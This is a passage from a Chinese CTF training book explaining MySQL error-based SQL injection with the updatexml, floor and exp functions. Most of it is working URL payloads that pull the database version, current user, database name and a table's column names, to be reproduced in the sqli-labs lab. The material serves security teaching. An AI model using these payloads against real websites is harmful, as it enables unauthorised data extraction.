CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

2.3 报错注入

这里主要介绍3种MySQL数据库报错注入的方法,分别是updatexml、floor和exp。

1.updatexml

updatexml的报错原理从本质上来说就是函数的报错,如图2-1所示。

图2-1 updatexml报错回显示例

这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:


?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23

其他功能的Payload可以参照下面floor的使用方法来修改。

2.floor

简单来说,floor报错的原理是rand和order by或group by的冲突。在MySQL文档中的原文如下:


RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. 
Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row, each time returning a different result. (http://dev.mysql.com/doc/refman/5.7/en/mathematical-functions.html#function_rand)

理解了原理之后,接下来我们来说一下应用的方法,如下。

爆破数据库版本信息:


?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前用户:


?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前使用的数据库:


?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破指定表的字段(下面以表名为emails举例说明):


?id=1' +and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

注意,这里我们采用的是十六进制编码后的表名。如果想采用非十六进制编码的表名则需要添加引号,但是这时候有可能会出现单引号导致的报错。

以上的Payload可以在sqli-labs的level1中复现,如图2-2所示。

图2-2 floor报错回显示例

在这里,我们只演示爆破数据库版本的Payload,关于其他Payload,读者可自行研究并复现。

3.exp

接下来是exp函数报错,exp()报错的本质原因是溢出报错。我们可以在MySQL中进行如图2-3所示的操作。

图2-3 exp报错回显示例

同样使用前面的例子,Payload为:


?id=1' and exp(~(select * from (select user())x))%23